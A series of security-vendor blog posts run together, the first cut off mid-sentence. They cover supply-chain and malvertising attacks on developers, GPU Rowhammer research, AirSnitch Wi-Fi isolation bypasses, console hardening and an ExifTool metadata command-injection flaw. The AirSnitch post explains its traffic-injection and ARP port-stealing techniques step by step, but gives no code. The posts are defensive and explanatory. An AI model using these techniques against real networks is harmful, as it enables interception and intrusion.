Lately, hackers have been turning up the heat on software developers. On the surface, this might seem like a puzzling move — why go after someone who’s literally paid to understand tech when there are plenty of less-savvy targets in the office? As it turns out, compromising a developer’s machine offers a much bigger payoff for an attacker.

Why developers are such high-value targets

For starters, compromising a coder’s workstation can give attackers a direct line to source code, credentials, authentication tokens, or even the entire development infrastructure. If the company builds software for others, a hijacked dev environment allows attackers to launch a massive supply chain attack, using the company’s products to infect its customer base. If the developer works on internal services, their machine becomes a perfect beachhead for lateral movement, allowing hackers to spread deeper into the corporate network.

Even when attackers are purely chasing cryptocurrency (and let’s face it, tech pros are much more likely to hold crypto than the average person), the malware used in these hits doesn’t just swap out wallet addresses; it vacuums up every scrap of valuable data it can find — especially those login credentials and session tokens. Even if the original attackers don’t care about corporate access, they can easily flip those credentials to initial access brokers or more specialized threat actors on the dark web.

Why developers are sitting ducks

In practice, developers aren’t nearly as good at understanding cyberthreats and spotting social engineering as they think they are. This misconception is a big reason why they often fall prey to cybercriminals. Professional expertise can often create a false sense of digital invincibility. This often leads technical professionals to cut corners on security protocols, bypass restrictions set by the security team, or even disable security software on their corporate machines when it gets in the way of their workflow. That mindset, combined with a job that requires them to constantly download and run third-party code, makes them sitting ducks for cyberattackers.

Attack vectors targeting developers

Once an attacker sets their sights on a software engineer, their go-to move is usually finding a way to slip malicious code onto the machine. But that’s just the tip of the iceberg — hackers are also masters at rebranding classic, battle-tested tactics.

Compromising open-source packages

One of the most common ways to hit a developer is by poisoning open-source software. We’ve seen a flood of these attacks over the past year. A prime example hit in March 2026, when attackers managed to inject malicious code into LiteLLM, a popular Python library hosted in the PyPI repository. Because this library acts as a versatile gateway for connecting various AI agents, it’s baked into a massive number of projects. These trojanized versions of LiteLLM delivered scripts designed to hunt for credentials across the victim’s system. Once stolen, that data serves as a skeleton key for attackers to infiltrate any company that was unlucky enough to download the infected packages.

Malware hidden in technical assignments

Every so often, attackers post enticing job openings for developers, complete with take-home test assignments that are laced with malicious code. For instance, in late February 2026, malicious actors pushed out web application projects built on Next.js via several malicious repositories, framing them as coding tests. Once a developer cloned the repo and fired up the project locally, a script would trigger automatically to download and install a backdoor. The attackers gained full remote access to the developer’s machine.

Fake development tools

Recently, our experts described an attack where hackers used paid search-engine ads to push malware disguised as popular AI tools. One of the primary baits was Claude Code, an AI coding assistant. This campaign specifically targeted developers looking for a way to use AI-assistants under the radar, without getting the green light from their company’s infosec team. The ads directed users to a malicious site that perfectly mimicked the official Claude Code documentation. It even included “installation instructions”, which prompted the user to copy and run a command. In reality, running that command installed an infostealer that harvested credentials and shuttled them off to a remote server.

Social engineering tactics

That said, attackers often stick to the basics when trying to plant malware. A recent investigation into a compromised npm package — Axios — revealed that hackers had gained access to a maintainer’s system using a shockingly simple “outdated software” ruse. The attackers reached out to the Axios repository maintainer while posing as the founder of a well-known company. After some back-and-forth, they invited him to a video interview. When the developer tried to join the meeting on what looked like Microsoft Teams, he hit a fake notification claiming his software was out of date and needed an immediate update. That “update” was actually a Remote Access Trojan, giving the attackers access to his machine.

Niche spam

Sometimes, even a blast of fake notifications does the trick, especially when it’s tailored to the audience. For example, just recently, attackers were caught posting fake alerts in the Discussions tabs of various GitHub projects, claiming there was a critical vulnerability in Visual Studio Code that required an immediate update. Because developers subscribed to those discussions received these alerts directly via email, the notifications looked like legitimate security warnings. Of course, the link in the message didn’t lead to an official patch; it pointed to a “fixed” version of VS Code that was actually laced with malware.

How to safeguard an organization

To minimize the risk of a breach, companies should lean into the following best practices:

• Make security a native part of your workflow. Use specialized solutions to vet your images, packages, dependencies, and components.
• Use threat intelligence feeds specifically focused on open-source components to check the packages used in software development.
• Make sure security awareness training covers everyone — including developers. Leverage specialized solutions like Kaspersky Automated Security Awareness Platform.
• Make sure developers are aware of the latest attack patterns — you can keep them in the loop by following the Development tag right here on this

It’s one of those coincidences: independent university research teams stumble onto something new and prep their papers for publication — only to realize they’ve solved the exact same puzzle using slightly different methods. That’s exactly what happened with GDDRHammer and GeForge. These two studies describe Rowhammer-style attacks that are so similar the researchers decided to publish them as a joint effort. Then, while we were putting this post together, a third study surfaced — GPUBreach — detailing yet another comparable attack. So today we’re looking at all three.

All three theoretical attacks target graphics accelerators, though this term is not entirely accurate anymore since these devices are so good at parallel processing, they’ve moved far beyond just rendering frames in a game and are now the backbone of AI systems. It’s this industrial use case that is most at risk. Picture a cloud provider renting out GPU resources to all comers. These new attacks demonstrate how, in theory, a single malicious customer could go beyond seizing control of an accelerator to compromise the entire server, access sensitive data, and potentially hack the provider’s entire infrastructure. Let’s break down why this kind of attack is even possible.

Rowhammer in a nutshell

We covered Rowhammer in-depth in previous posts, but here’s the quick version. The original attack was first proposed back in 2014, and it exploits the actual physical properties of RAM chips. Individual memory cells are simple components arranged in tight rows. In theory, reading or writing to one cell shouldn’t affect its neighbors. However, because these chips are packed so densely — with millions or even billions of cells per chip — writing to one spot can sometimes modify the cells next to it.

The 2014 study showed that this isn’t just a recipe for random data corruption; it can be weaponized. By repeatedly accessing (or “hammering”, hence the name) a specific area of memory, an attacker can intentionally flip bits in adjacent cells. If an attacker manages to flip the right bits, he can bypass critical security measures to snag sensitive data or run unauthorized code with full privileges.

Since that first discovery, we’ve seen a constant arms race between new Rowhammer defenses and clever ways to bypass them. We’ve also seen the attack evolve to target newer standards like DDR4 and DDR5. That’s a key takeaway here: for every new type of memory that hits the market, researchers essentially have to reinvent the attack from scratch.

Attacking GDDR6 video memory

The first Rowhammer attack on GPUs was presented back in 2025, but the results were relatively modest. At the time, researchers were able to force bit-flips in GDDR6 memory cells, and show how that data corruption could degrade the performance of an AI system.

These latest papers, however, warn of much more damaging attacks on video memory. Using slightly different techniques, GDDRHammer and GeForge manipulate the page tables — basically the master structures that track where data lives in the GPU’s memory. This enables an attacker to read or write to any part of the video memory, and even reach into the main system RAM managed by the CPU. Modifications to page tables are possible because the researchers have found a way to hammer memory cells much more efficiently. They pulled this off despite the hardware using Target Row Refresh, a core defense designed specifically to stop Rowhammer. TRR detects repeated access to specific cells, and forces a data refresh in the neighboring rows to hamper the attack. However, the researchers discovered a specific pattern of access that can bypass TRR.

How realistic are these GPU attacks?

As is usually the case with this type of research, pulling off these attacks in the real world comes with a lot of contingencies. First off, different GPUs behave differently. For instance, the GeForge attack was significantly more effective on the consumer-grade GeForce RTX 3060. On the industrial-strength Nvidia RTX A6000, the attack’s efficiency dropped by more than five times — even though both cards use the exact same GDDR6 memory standard. Going back to our hypothetical scenario of a malicious cloud customer: for an attack to work, they’d first need to identify exactly which accelerator they’ve been assigned, then profile their exploit specifically for that hardware. In short, this would have to be an incredibly sophisticated and expensive targeted attack.

It’s also worth noting that GDDR6 isn’t the latest and greatest anymore. Consumer devices are moving to GDDR7, while professional-grade hardware often uses high-speed HBM memory. These systems come with ECC (Error Correction Code), a built-in mechanism that checks data integrity. ECC can actually be enabled on cards like the Nvidia A6000; while it might take a small bite out of performance, it effectively makes both of these attacks impossible.

Another tool available to owners of AI-focused servers is enabling the IOMMU (input–output memory management unit) — a system that isolates the GPU’s memory from the CPU’s memory. This will prevent an attack from escalating from the graphics accelerator to the main processor and compromising the entire server. This is where the third study, GPUBreach, comes into play. Its main differentiator from GDDRHammer and GeForge is that it can actually bypass even IOMMU protection! It pulls this off by exploiting some fairly traditional bugs found in NVIDIA drivers.

So, despite the existing hurdles, these three studies prove that Rowhammer attacks remain a potent threat. This is especially true in our current AI boom, which relies on massive, expensive, and potentially vulnerable infrastructure packed with dozens or even hundreds of thousands of computing devices. The Rowhammer timeline goes to show that technical barriers almost never hold for long. In standard RAM, researchers have managed to bypass not only basic fixes like Target Row Refresh, but also more advanced — and theoretically bulletproof — solutions like ECC memory. While the extreme complexity of these exploits means they’ll likely never become a mass-market threat, for anyone running expensive computing systems, they’re definitely a risk factor that can’t be ignored.

At the NDSS Symposium 2026 in San Diego in February, a group of respected researchers presented a study unveiling the AirSnitch attack, which bypasses the Wi-Fi client isolation feature — also commonly known as guest network or device isolation. This attack allows connecting to a single wireless network via an access point, and then gaining access to other connected devices, including those using entirely different service set identifiers (SSIDs) on that same hardware. Targeted devices could easily be running on wireless subnets protected by WPA2 or WPA3 protocols. The attack doesn’t actually break encryption; instead, it exploits the way access points handle group keys and packet routing.

In practical terms, this means that a guest network provides very little in the way of real security. If your guest and employee networks are running on the same physical device, AirSnitch allows a connected attacker to inject malicious traffic into neighboring SSIDs. In some cases, they can even pull off a full-blown man-in-the-middle (MitM) attack.

Wi-Fi security and the role of isolation

Wi-Fi security is constantly evolving; every time a practical attack is made against the latest generation of protection, the industry shifts toward more complex algorithms and procedures. This cycle started with the FMS attacks used to crack WEP encryption keys, and continues to this day: recent examples include the KRACK attacks on WPA2, and the FragAttacks, which impacted every security protocol version from WEP all the way through WPA3.

Attacking modern Wi-Fi networks effectively (and quietly) is no small feat. Most professionals agree that using WPA2/WPA3 with complex keys and separating networks based on their purpose is usually enough for protection. However, only specialists really know that client isolation was never actually standardized within the IEEE 802.11 protocols. Different manufacturers implement isolation in completely different ways — using Layer 2 or Layer 3 of network architecture; in other words, handling it at either the router or the Wi-Fi controller level — meaning the behavior of isolated subnets varies wildly depending on your specific access point or router model.

While marketing claims that client isolation is perfect for keeping restaurant or hotel guests from attacking one another — or ensuring corporate visitors can’t access anything but the internet — in reality, isolation often relies on people not trying to hack it. This is exactly what the AirSnitch research highlights.

Types of AirSnitch attacks

The name AirSnitch doesn’t just refer to a single vulnerability, but a whole family of architectural flaws found in Wi-Fi access points. It’s also the name of an open-source tool used to test routers for these specific weaknesses. However, security professionals need to keep in mind that there’s only a very thin line between testing and attacking.

The model for all these attacks is the same: a malicious client is connected to an access point (AP) where isolation is active. Other users — the targets — are connected to the same SSID or even different SSIDs on that same AP. This is a very realistic scenario; for example, a guest network might be open and unencrypted, or an attacker could simply get the guest Wi-Fi password by posing as a legitimate visitor.

For certain AirSnitch attacks, the attacker needs to know the victim’s MAC or IP address beforehand.  Ultimately, how effective each attack is depends on the specific hardware manufacturer (more on that below).

GTK attack

After the WPA2/WPA3 handshake, the access point and the clients agree on a Group Transient Key (GTK) to handle broadcast traffic. In this scenario, the attacker wraps packets destined for a specific victim inside a broadcast traffic envelope. They then send these directly to the victim while spoofing the access point’s MAC address. This attack only allows for traffic injection, meaning the attacker won’t receive a response. However, even that is enough to deliver malicious ICMPv6 routing advertisements, or DNS and ARP messages to the client — effectively bypassing isolation. This is the most universal version of the attack working on any WPA2/WPA3 network that uses a shared GTK. That said, some enterprise-grade access points support GTK randomization for each individual client, which renders this specific method ineffective.

Broadcast packet redirection

This version of the attack doesn’t even require the attacker to authenticate at the access point first. The attacker sends packets to the AP with a broadcast destination address (FF:FF:FF:FF:FF:FF) and the ToDS flag set to 1.  As a result, many access points treat this packet as legitimate broadcast traffic; they encrypt it using the GTK, and blast it out to every client on the subnet, including the victim. Just like in the previous method, traffic specifically meant for a single victim can be pre-packaged inside.

Router redirection

This attack exploits an architectural gap between Layer 2 and Layer 3 security found in some manufacturers’ hardware. The attacker sends a packet to the access point, setting the victim’s IP address as the destination at the network layer (L3).  However, at the wireless layer (L2), the destination is set to the access point’s own MAC address, so the isolation filter doesn’t trip. The routing subsystem (L3) then dutifully routes the packet back out to the victim, bypassing the L2 isolation entirely. Like the previous methods, this is another transmit-only attack where the attacker can’t see the reply.

Port stealing to intercept packets

The attacker connects to the network using a spoofed version of the victim’s MAC address, and floods the network with ARP responses claiming, “this MAC address is on my port and SSID”.  The target network’s router updates its MAC tables, and starts sending the victim’s traffic to this new port instead. Consequently, traffic intended for the victim ends up with the attacker — even if the victim is connected to a completely different SSID.

In a scenario where the attacker connects via an open, unencrypted network, this means traffic meant for a client on a WPA2/WPA3-secured network is actually broadcast over the open air, where not only the attacker but anyone nearby can sniff it.

Port stealing to send packets

In this version, the attacker connects directly to the victim’s Wi-Fi adapter, and bombards it with ARP requests spoofing the access point’s MAC address. As a result, the victim’s computer starts sending its outgoing traffic to the attacker instead of the network. By running both stealing attacks simultaneously, an attacker can, in several scenarios, execute a full MitM attack.

Practical consequences of AirSnitch attacks

By combining several of the techniques described above, a hacker can pull off some pretty serious moves:

• Complete bidirectional traffic interception for a MitM attack. This means they can snatch and modify data moving between the victim and the access point without the victim ever knowing.
• Hopping between SSIDs. An attacker sitting on a guest network can reach hosts on a locked-down corporate network if both are running off the same physical access point.
• Attacks on RADIUS. Since many companies use RADIUS authentication for their corporate Wi-Fi, an attacker can spoof the access point’s MAC address to intercept initial RADIUS authentication packets. From there, they can brute-force the shared secret. Once they have that, they can spin up a rogue RADIUS server and access point to hijack data from any device that connects to it.
• Exposing unencrypted data from “secure” subnets: Traffic that’s supposed to be sent to a client under the protection of WPA2/WPA3 can be retransmitted onto an open guest network, where it’s essentially broadcast for anyone to hear.

To pull off these attacks effectively, a hacker needs a device capable of simultaneous data transmission and reception with both the victim’s adapter and the access point. In a real-world scenario, this usually means a laptop with two Wi-Fi adapters running specifically configured Linux drivers. It’s worth noting that the attack isn’t exactly silent: it requires a flood of ARP packets, it can cause brief Wi-Fi glitches when it starts, and network speeds might tank to around 10Mbps. Despite these red flags, it’s still very much a practical threat in many environments.

Vulnerable devices

As part of the study, several enterprise and home access points and routers were put to the test. The list included products from Cisco, Netgear, Ubiquiti, Tenda, D-Link, TP-Link, LANCOM, and ASUS, as well as routers running popular community firmware like DD-WRT and OpenWrt. Every single device tested was vulnerable to at least some of the attacks described here. Even more concerning, the D-Link DIR-3040 and LANCOM LX-6500 were susceptible to every single variation of AirSnitch.

Interestingly, some routers were equipped with protective mechanisms that blocked the attacks, even though the underlying architectural flaws were still present. For example, the Tenda RX2 Pro automatically disconnects any client whose MAC address appears on two BSSIDs simultaneously, which effectively shuts down port stealing.

The researchers emphasize that any network administrator or IT security team serious about defense should test their own specific configurations. That’s the only way to pinpoint exactly which threats are relevant to your organization’s setup.

How to protect your corporate network from AirSnitch

The threat is most immediate for organizations running guest and corporate Wi-Fi networks on the same access points without additional VLAN segmentation. There are also significant risks for companies using RADIUS with outdated settings or weak shared secrets for wireless authentication.

The bottom line is that we need to stop viewing client isolation on an access point as a real security measure, and start seeing it as just a convenience feature. Real security needs to be handled differently:

• Segment the network using VLANs. Each SSID should have its own VLAN, with strict 802.1Q packet tagging maintained all the way from the access point to the firewall or router.
• Implement stricter packet inspection at the routing level — depending on the hardware capabilities. Features like Dynamic ARP Inspection, DHCP snooping, and limiting the number of MAC addresses per port help defend against IP/MAC spoofing.
• Enable individual GTK keys for each client, if your equipment supports it.
• Use more resilient RADIUS and 802.1X settings, including modern cipher suites and robust shared secrets.
• Log and analyze EAP/RADIUS authentication anomalies in your SIEM. This helps track many attack attempts beyond just AirSnitch. Other red flag events to watch for include the same MAC address appearing on different SSIDs, spikes in ARP requests, or clients rapidly jumping between BSSIDs or VLANs.
• Apply security at higher levels of the network topology. Many of these attacks lose their punch if the organization has universally implemented TLS and HSTS for all business application traffic, requires an active VPN for all Wi-Fi connections, or has fully embraced a Zero Trust architecture.

Companies work systematically to reduce their attack surface. They segment networks, manage vulnerabilities, roll out EDR/XDR, and try to automate their response efforts. As paradoxical as it may seem, they often overlook one massive piece of the puzzle: the security of the very tools managing that entire defense system.

This can occur due to a mental blind spot. It’s easy to assume that, because an organization installed all security solutions needed, it’s safe. In reality, any added software (even security tools) actually expands attack surface. This means those tools need protection, too — starting with hardening them through the right settings.

Why a breached security console is a nightmare scenario

Security tools are only as strong as the system running them. If an attacker manages to break into an organization’s infrastructure and seize control of the security management console, they basically have full rein there. It’s the ultimate skeleton key — giving them direct access to centralized policy management, endpoint monitoring, API integrations, and everything in between.

In this scenario, the attacker doesn’t need to waste time finding clever ways to bypass defenses — all they need do is modify the configuration. With console access, a hacker can skip the hard parts of a breach:

• They don’t have to scout the network; the console gives them a bird’s-eye view of the entire infrastructure and security architecture instantly.
• No need to hide their malicious activity — they can simply tweak security policies, kill specific tools, or silence some alerts.
• Instead of inventing ways to spread the payload to endpoints discreetly, they can leverage the console’s built-in tools for mass software and update installation.

This is exactly why control layer compromise is so dangerous. A proactive cybersecurity mindset isn’t about how many tools are implemented; it’s about how resilient corporate security architecture actually is. If the control layer is the weak link, no amount of hi-tech software can mitigate that risk.

How to protect the security console

On paper, most security management systems already have all the mechanisms needed to beef up protection. The problem? These hardening measures — even basic stuff like two-factor authentication — are often available but not mandatory. Security recommendations get published, but they don’t always get implemented in a consistent manner. Sometimes, they’re just flat-out ignored. Even worse, critical security settings that are turned on by default can often be disabled with a single click —propagating that change to every user instantly. And let’s be honest: people often disable these features in the name of convenience.

In the real world, this means that corporate security ends up relying on an admin’s personal discipline. But discipline can’t serve as an architectural defense mechanism.

The modern approach to protecting the control layer is shifting toward a secure-by-default model. In this setup, critical protections are baked into the base configuration, and the ability to turn them off globally is restricted. Essentially, security stops being an optional feature.

It’s all about removing the guesswork from the security of defensive tools, and shrinking the attack surface at the management level.

How we implement this approach in Kaspersky Security Center Linux

Our products are consistently moving toward a model where critical security mechanisms are part of the base architecture rather than an optional feature. We recently released a new version (16.1) of Kaspersky Security Center Linux, where this architectural shift is built into its core principles — primarily by tightening console access control. Now, two-factor authentication is enabled by default, and the ability to disable it globally has been removed. Before upgrading, administrators must ensure 2FA is enabled for all users, including those working through the Web Console or using OpenAPI automation.

This establishes fundamental protection for privileged access at the console level. It reduces the risk of compromised administrative accounts, protects automation channels, lowers the likelihood of API abuse, and eliminates the vulnerabilities that come from making security optional. In this way, the potential attack surface is reduced specifically at the management control layer.

However, as mentioned before, the problem with most consoles and management systems isn’t a lack of security features, but a lack of systematic control over how they’re used. For example, we often see administrators with excessive privileges or insecure administration server connection settings. We’ve already provided a hardening guide for Kaspersky Security Center that covers these issues in detail, but unfortunately not everyone takes the time to read through deep technical manuals.

That’s why, to make sure no one misses the key points, we’ve put together a structured checklist for hardening Kaspersky Security Center Linux, ver. 16.1. This checklist:

• Allows to verify that authentication and access privileges are configured correctly
• Helps identify roles and users with excessive privileges
• Provides guidance on restricting network access to the console
• Emphasizes the protection of APIs
• Strengthens encryption requirements
• Ensures that auditing and logging are set up properly
• Reduces the risk of configuration gaps

Essentially, this is a tool for a systematic audit of the control layer. It ensures the console doesn’t become an entry point or a tool for attackers to move laterally through infrastructure. The fewer critical settings are left at the user’s discretion — the lower the risk of error or compromise.

Enhanced authentication and structured hardening of the administration console aren’t just minor tweaks; they represent a more thorough approach to security management. We plan to continue developing this protection layer — reducing the attack surface not just at the endpoint level, but within the management system itself. You can learn more about Kaspersky Security Center on the console page, and the hardening checklist is available on our technical support site.

What do the words bakso, sate, and rendang bring to mind? For many, the answer is “nothing”; foodies will recognize them as Indonesian staples; while those who follow cybersecurity news will remember an attack on the Node Package Manager (npm) ecosystem — the tool that lets developers use prebuilt libraries instead of writing every line of code from scratch.

In mid-November, security researcher Paul McCarty reported the discovery of a spam campaign aimed at cluttering the npm registry. Of course, meaningless packages have appeared in the registry before, but in this case, tens of thousands of modules were found with no useful function. Their sole purpose was to inject completely unnecessary dependencies into projects.

The package names featured randomly inserted Indonesian dish names and culinary terms such as bakso, sate, and rendang, which is how the campaign earned the moniker “IndonesianFoods”. The scale was impressive: at the time of discovery, approximately 86 000 packages had been identified.

Below, we dive into how this happened, and what the attackers were actually after.

Inside IndonesianFoods

At first glance, the IndonesianFoods packages didn’t look like obvious junk. They featured standard structures, valid configuration files, and even well-formatted documentation. According to researchers at Endor Labs, this camouflage allowed the packages to persist in the npm registry for nearly two years.

It’s not as if the attackers were aggressively trying to insert their creations into external projects. Instead, they simply flooded the ecosystem with legitimate-looking code, waiting for someone to make a typo or accidentally pick their library from search results. It’s a bit unclear exactly what you’d have to be searching for to mistake a package name for an Indonesian dish, but the original research notes that at least 11 projects somehow managed to include these packages in their builds.

A small portion of these junk packages had a self-replication mechanism baked in: once installed, they would create and publish new packages to the npm registry every seven seconds. These new modules featured random names (also related to Indonesian cuisine) and version numbers — all published, as you’d expect, using the victim’s credentials.

Other malicious packages integrated with the TEA blockchain platform. The TEA project was designed to reward open-source creators with tokens in proportion to the popularity and usage of their code — theoretically operating on a “Proof of Contribution” model.

A significant portion of these packages contained no actual functionality at all, yet they often carried a dozen dependencies — which, as you might guess, pointed to other spam projects within the same campaign. Thus, if a victim mistakenly includes one of these malicious packages, it pulls in several others, some of which have their own dependencies. The result is a final project cluttered with a massive amount of redundant code.

What’s in it for the attackers?

There are two primary theories. The most obvious is that this entire elaborate spam campaign was designed to exploit the aforementioned TEA protocol. Essentially, without making any useful contribution to the open-source community, the attackers earn TEA tokens — which are standard digital assets that can be swapped for other cryptocurrencies on exchanges. By using a web of dependencies and self-replication mechanisms, the attackers pose as legitimate open-source developers to artificially inflate the significance and usage metrics of their packages. In the README files of certain packages, the attackers even boast about their earnings.

However, there’s a more chilling theory. For instance, researcher Garrett Calpouzos suggests that what we’re seeing is merely a proof of concept. The IndonesianFoods campaign could be road-testing a new malware delivery method intended to be sold later to other threat actors.

Why you don’t want junk in your projects

At first glance, the danger to software development organizations might not be obvious: sure, IndonesianFoods clutters the ecosystem, but it doesn’t seem to carry an immediate threat like ransomware or data breaches.  However, redundant dependencies bloat code and waste developers’ system resources. Furthermore, junk packages published under your organization’s name can take a serious toll on your reputation within the developer community.

We also can’t dismiss Calpouzos’s theory. If those spam packages pulled into your software receive an update that introduces truly malicious functionality, they could become a threat not just to your organization, but to your users as well — evolving into a full-blown supply chain attack.

How to safeguard your organization

Spam packages don’t just wander into a project on their own; installing them requires a lapse in judgment from a developer. Therefore, we recommend regularly raising awareness among employees — even the tech-savvy ones — about modern cyberthreats. Our interactive training platform, KASAP (Kaspersky Automated Security Awareness Platform), can help with that.

Additionally, you can prevent infection by using a specialized solution for protecting containerized environments. It scans images and third-party dependencies, integrates into the build process, and monitors containers during runtime.

We recently discussed how malicious actors are spreading the AMOS infostealer for macOS via Google Ads, leveraging a chat with an AI assistant on the actual OpenAI website to host malicious instructions. We decided to dig a little deeper, only to discover several similar malicious campaigns where attackers attempt to slip users malware disguised as popular AI tools through Google Search ads. If the victims are searching for macOS-specific tools, the payload deployed is the very same AMOS; if they’re on Windows, it’s the Amatera infostealer instead. These campaigns use the popular Chinese AI Doubao, the viral AI assistant OpenClaw, or the coding assistant Claude Code as bait. This means such campaigns pose a threat not only to home users but also to organizations.

The reality is that corporate employees are increasingly using coding assistants like Claude Code, and workflow automation agents like OpenClaw. This brings its own set of risks, which is why many organizations have yet to officially approve (or pay for) access to such tools. Consequently, some employees take matters into their own hands to find these trendy tools, and head straight to Google. They type in a search query and are served a sponsored link leading to a malicious installation guide. Let’s take a closer look at how this attack plays out, using a Claude Code distribution campaign discovered in early March as an example.

The search query

So, a user starts looking for a place to download the Anthropic agent and types something like “Claude Code download” into the search bar. The search engine returns a list of links, with “sponsored links” (paid advertisements) sitting at the top. One of these ads leads the user to a malicious page featuring fake documentation. Interestingly, the site itself is built on Squarespace, a legitimate website builder that helps it bypass anti-phishing filters.

The attackers’ site meticulously mimics the original Claude Code documentation, complete with installation instructions. Just like the real deal, it prompts the user to copy and run a command. However, once executed, it installs not an AI agent but malware. Essentially, this is just another flavor of the ClickFix attack — one that has earned its own nickname: InstallFix.

Malicious payload

Just like with the original Claude Code, the command for macOS attempts to install an application using the curl command-line utility. In reality, it deploys the AMOS spyware — previously described by our experts on Securelist — which was used in a similar past campaign.

In the case of Windows, the malware is installed using the system utility mshta.exe, which executes HTML-based applications instead of curl, which is used for the genuine Claude Code. This utility deploys the Amatera infostealer, which harvests browser data, crypto-wallet info, as well as information from the user folder, and sends it to a remote server at 144{.}124.235.102.

How to keep your company safe

Interest in AI agents continues to grow, and the emergence of new tools and their rising popularity are creating fresh attack vectors. Specifically, attempting to seek out third-party AI tools can not only jeopardize the source code of projects on the victim’s computer but also lead to the compromise of secrets, confidential corporate files, and user accounts.

To prevent this from happening, the first step should be educating employees about these dangers and the tricks used by threat actors. This can be done using our training platform: Kaspersky Automated Security Awareness. Incidentally, it includes a specialized lesson on the use of AI in corporate environments.

Additionally, we recommend protecting all corporate devices with proven cybersecurity solutions.

We also suggest checking out our previously published article on three approaches to minimizing the risks of using shadow AI.

Modern software development relies on containers and the use of third-party software modules. On the one hand, this greatly facilitates the creation of new software, but on the other, it gives attackers additional opportunities to compromise the development environment. News about attacks on the supply chain through the distribution of malware via various repositories appears with alarming regularity. Therefore, tools that allow the scanning of images have long been an essential part of secure software development.

Our portfolio has long included a solution for protecting container environments. It allows the scanning of images at different stages of development for malware, known vulnerabilities, configuration errors, the presence of confidential data in the code, and so on. However, in order to make an informed decision about the state of security of a particular image, the operator of the cybersecurity solution may need some more context. Of course, it’s possible to gather this context independently, but if a thorough investigation is conducted manually each time, development may be delayed for an unpredictable period of time. Therefore, our experts decided to add the ability to look at the image from a fresh perspective; of course, not with a human eye — AI is indispensable nowadays.

OpenAI API

Our Kaspersky Container Security solution (a key component of Kaspersky Cloud Workload Security) now supports an application programming interface for connecting external large language models. So, if a company has deployed a local LLM (or has a subscription to connect a third-party model) that supports the OpenAI API, it’s possible to connect the LLM to our solution. This gives a cybersecurity expert the opportunity to get both additional context about uploaded images and an independent risk assessment by means of a full-fledged AI assistant capable of quickly gathering the necessary information.

The AI provides a description that clearly explains what the image is for, what application it contains, what it does specifically, and so on. Additionally, the assistant conducts its own independent analysis of the risks of using this image and highlights measures to minimize these risks (if any are found). We’re confident that this will speed up decision-making and incident investigations and, overall, increase the security of the development process.

What else is new in Cloud Workload Security?

In addition to adding API to connect the AI assistant, our developers have made a number of other changes to the products included in the Kaspersky Cloud Workload Security offering. First, they now support single sign-on (SSO) and a multi-domain Active Directory, which makes it easier to deploy solutions in cloud and hybrid environments. In addition, Kaspersky Cloud Workload Security now scans images more efficiently and supports advanced security policy capabilities. You can learn more about the product on its official page.

Can a computer be infected with malware simply by processing a photo — particularly if that computer is a Mac, which many still believe (wrongly) to be inherently resistant to malware? As it turns out, the answer is yes — if you’re using a vulnerable version of ExifTool or one of the many apps built based on it. ExifTool is a ubiquitous open-source solution for reading, writing, and editing image metadata. It’s the go-to tool for photographers and digital archivists, and is widely used in data analytics, digital forensics, and investigative journalism.

Our GReAT experts discovered a critical vulnerability — tracked as CVE-2026-3102 — which is triggered during the processing of malicious image files containing embedded shell commands within their metadata. When a vulnerable version of ExifTool on macOS processes such a file, the command is executed. This allows a threat actor to perform unauthorized actions in the system, such as downloading and executing a payload from a remote server. In this post, we break down how this exploit works, provide actionable defense recommendations, and explain how to verify if your system is vulnerable.

What is ExifTool?

ExifTool is a free, open-source application addressing a niche but critical requirement: it extracts metadata from files, and enables the processing of both that data and the files themselves. Metadata is the information embedded within most modern file formats that describes or supplements the main content of a file. For instance, in a music track, metadata includes the artist’s name, song title, genre, release year, album cover art, and so on. For photographs, metadata typically consists of the date and time of a shot, GPS coordinates, ISO and shutter speed settings, and the camera make and model. Even office documents store metadata, such as the author’s name, total editing time, and the original creation date.

ExifTool is the industry leader in terms of the sheer volume of supported file formats, as well as the depth, accuracy, and versatility of its processing capabilities. Common use cases include:

• Adjusting dates if they’re incorrectly recorded in the source files
• Moving metadata between different file formats (from JPG to PNG and so on)
• Pulling preview thumbnails from professional RAW formats (such as 3FR, ARW, or CR3)
• Retrieving data from niche formats, including FLIR thermal imagery, LYTRO light-field photos, and DICOM medical imaging
• Renaming photo/video (etc.) files based on the time of actual shooting, and synchronizing the file creation time and date accordingly
• Embedding GPS coordinates into a file by syncing it with a separately stored GPS track log, or adding the name of the nearest populated area

The list goes on and on. ExifTool is available both as a standalone command-line application and an open-source library, meaning its code often runs under the hood of powerful, multi-purpose tools; examples include photo organization systems like Exif Photoworker and MetaScope, or image processing automation tools like ImageIngester. In large digital libraries, publishing houses, and image analytics firms, ExifTool is frequently used in automated mode, triggered by internal enterprise applications and custom scripts.

How CVE-2026-3102 works

To exploit this vulnerability, an attacker must craft an image file in a certain way. While the image itself can be anything, the exploit lies in the metadata — specifically the DateTimeOriginal field (date and time of creation), which must be recorded in an invalid format. In addition to the date and time, this field must contain malicious shell commands. Due to the specific way ExifTool handles data on macOS, these commands will execute only if two conditions are met:

• The application or library is running on macOS
• The -n (or –printConv) flag is enabled. This mode outputs machine-readable data without additional processing, as is. For example, in -n mode, camera orientation data is output simply, inexplicably, as “six”, whereas with additional processing, it becomes the more human-readable “Rotated 90 CW”. This “human-readability” prevents the vulnerability from being exploited

A rare but by no means fantastical scenario for a targeted attack would look like this: a forensics laboratory, a media editorial office, or a large organization that processes legal or medical documentation receives a digital document of interest. This can be a sensational photo or a legal claim — the bait depends on the victim’s line of work. All files entering the company undergo sorting and cataloging via a digital asset management (DAM) system. In large companies, this may be automated; individuals and small firms run the required software manually. In either case, the ExifTool library must be used under the hood of this software. When processing the date of the malicious photo, the computer where the processing occurs is infected with a Trojan or an infostealer, which is subsequently capable of stealing all valuable data stored on the attacked device. Meanwhile, the victim could easily notice nothing at all, as the attack leverages the image metadata while the picture itself may be harmless, entirely appropriate, and useful.

How to protect against the ExifTool vulnerability

GReAT researchers reported the vulnerability to the author of ExifTool, who promptly released version 13.50, which is not susceptible to CVE-2026-3102. Versions 13.49 and earlier must be updated to remediate the flaw.

It’s critical to ensure that all photo processing workflows are using the updated version. You should verify that all asset management platforms, photo organization apps, and any bulk image processing scripts running on Macs are calling ExifTool version 13.50 or later, and don’t contain an embedded older copy of the ExifTool library.

Naturally, ExifTool — like any software — may contain additional vulnerabilities of this class. To harden your defenses, we also recommend the following:

• Isolate the processing of untrusted files. Process images from questionable sources on a dedicated machine or within a virtual environment, strictly limiting its access to other computers, data storage, and network resources.
• Continuously track vulnerabilities along the software supply chain. Organizations that rely on open-source components in their workflows can use Open Source Software Threats Data Feed for tracking.

